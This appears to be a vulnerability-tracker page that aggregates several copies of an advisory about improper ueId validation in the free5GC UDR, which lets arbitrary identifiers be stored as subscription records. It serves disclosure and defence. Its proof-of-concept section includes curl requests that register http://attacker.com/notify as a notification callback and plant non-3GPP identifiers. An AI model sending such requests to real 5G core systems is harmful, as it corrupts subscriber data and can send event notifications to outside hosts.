free5GC: UDR Improper ueId validation in free5GC EE subscription handlers allows arbitrary identifier persistence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Source published

15 Sep 2026 14:43:49 UTC

Source modified

15 Sep 2026 15:25:25 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Source published

Sep 15, 2026, 2:43:49 PM (timezone not stated)

Source modified

Sep 15, 2026, 3:25:25 PM (timezone not stated)

Observed here

11 Nov 2026 13:01:07 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

free5GC is an open-source implementation of the 5G core network. In 4.2.3 and earlier, HandleCreateEeSubscriptions and HandleQueryeesubscriptions in free5gc/udr internal/sbi/api_datarepository.go validate the ueId path value with a regular expression whose final .+ alternative accepts every non-empty string instead of restricting identifiers to supported SUPI and GPSI formats. An actor with network reachability to the UDR SBI can submit a non-3GPP identifier to /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions, causing the identifier to pass validation and enter the normal create or query flow. The advisory does not independently establish whether authentication is required. Invalid identifiers can be persisted and retrieved as subscription records, enabling unauthorized data creation, UDR namespace pollution, persistent subscriber-metadata corruption, and interference with downstream components that trust stored identifiers to use valid 3GPP formats. The exposure is most relevant in lab, test, or loosely segmented service-based-interface deployments where direct UDR access is possible.

Source published

15 Sep 2026 15:17:15 UTC

Source modified

30 Sep 2026 17:51:56 UTC

Observed here

25 Oct 2026 12:17:26 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary The free5GC UDR accepts arbitrary non-3GPP ueId values in the EE subscription creation and query flows because the regular expression used for validation ends with the catch-all alternative |.+. This causes the validation logic to accept any non-empty string rather than restricting input to expected SUPI/GPSI-style formats. In a tested deployment, a crafted value such as ARBITRARY_STRING was successfully stored through the POST /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions endpoint and later retrieved through the corresponding GET endpoint, demonstrating persistent database pollution and broken trust boundaries in the UDR data model. An improper input validation issue exists in the free5GC UDR EE subscription handlers responsible for creating and querying UE event exposure subscriptions. The affected code validates ueId with a regular expression that includes a final |.+ branch, which matches any non-empty string and defeats the intended 3GPP identifier checks. As a result, an attacker able to reach the UDR SBI can submit arbitrary identifiers and have them persisted and retrieved as valid subscription records, causing unauthorized data creation and corruption of the UDR data store. ### Details The vulnerable logic is present in two handlers in api_datarepository.go: HandleCreateEeSubscriptions and HandleQueryeesubscriptions. Both paths rely on the same regexp.MatchString() validation pattern for ueId: ^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$. The final alternative .+ acts as a universal match for any non-empty string, so values that do not conform to IMSI, NAI, MSISDN, EXTID, GCI, or GLI formats are still accepted. Once the validation succeeds, the handlers pass the attacker-controlled ueId into the normal processing flow. In the tested environment, POST /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 201 Created, and the response Location header pointed to a newly created resource under the arbitrary identifier. A subsequent GET /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 200 OK with a JSON body, confirming that the data was persisted and retrievable. This demonstrates that the issue is not limited to superficial input acceptance; it results in server-side storage of untrusted identifiers in the UDR backend. The vulnerable pattern appears to reflect a permissive schema-style expression rather than a security-oriented validator. In an OpenAPI or data-model context, a catch-all alternative may describe allowed generic strings, but in request validation logic it nullifies the protection provided by the more specific alternatives. The proper fix is to remove the trailing |.+ branch and restrict accepted input to explicitly supported identifier formats only. ### PoC The issue was reproduced against a running free5GC UDR instance listening on `10.22.22.5:80` with the `nudr-dr` API exposed under `/v2`. The following commands demonstrate the behavior. ### Environment - UDR IP: `10.22.22.5` - UDR port: `80` - API base path: `/nudr-dr/v2` - Tested endpoint family: `/subscription-data/{ueId}/context-data/ee-subscriptions` ### Step 1: Create an EE subscription with a legitimate identifier ```bash curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions" \ -H "Content-Type: application/json" \ -d '{"callbackReference": "http://attacker.com/notify"}' -v ``` Expected observed result in the test environment: - `HTTP/1.1 201 Created` - `Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions/1` ### Step 2: Create an EE subscription with an arbitrary non-3GPP identifier ```bash curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions" \ -H "Content-Type: application/json" \ -d '{"callbackReference": "http://attacker.com/notify"}' -v ``` Observed result in the test environment: - `HTTP/1.1 201 Created` - `Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions/2` - Body: `{}` This confirms that the arbitrary `ueId` passed validation and was accepted as a valid resource key. ### Step 3: Retrieve the data stored under the arbitrary identifier ```bash curl "http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions" -v ``` Observed result in the test environment: - `HTTP/1.1 200 OK` - Body: `[{}]` This confirms persistence and retrieval of a subscription record under an attacker-chosen invalid `ueId`. ### Affected code pattern ```go match, err := regexp.MatchString( `^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$`, ueId, ) if !match { // return 400 } ``` ### Recommended fix ```go match, err := regexp.MatchString( `^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+)$`, ueId, ) ``` ### Impact This is an **improper input validation** vulnerability that enables arbitrary identifier injection into the UDR EE subscription data path. Any actor with network reachability to the UDR SBI endpoint can create and query records bound to non-compliant, attacker-controlled `ueId` values. Depending on deployment assumptions, this may allow unauthorized data creation, persistent data corruption, namespace pollution, and interference with downstream components that trust UDR-stored identifiers to follow valid 3GPP formats. The issue affects deployments exposing the vulnerable UDR EE subscription handlers and is particularly relevant in lab, test, and loosely segmented SBI environments where direct access to the UDR is possible. Because the flaw results in persistence of attacker-chosen identifiers, the impact extends beyond a simple validation bypass and reaches integrity of stored subscriber-related metadata.

Source published

11 Jun 2026 13:25:18 UTC

Source modified

25 Jun 2026 18:56:33 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N/E:U

Publisher rating · MODERATE

free5GC UDR has improper `ueId` validation in EE subscription handlers that allows arbitrary identifier persistence in github.com/free5gc/udr

Source published

25 Jun 2026 18:26:48 UTC

Source modified

25 Jun 2026 18:45:19 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.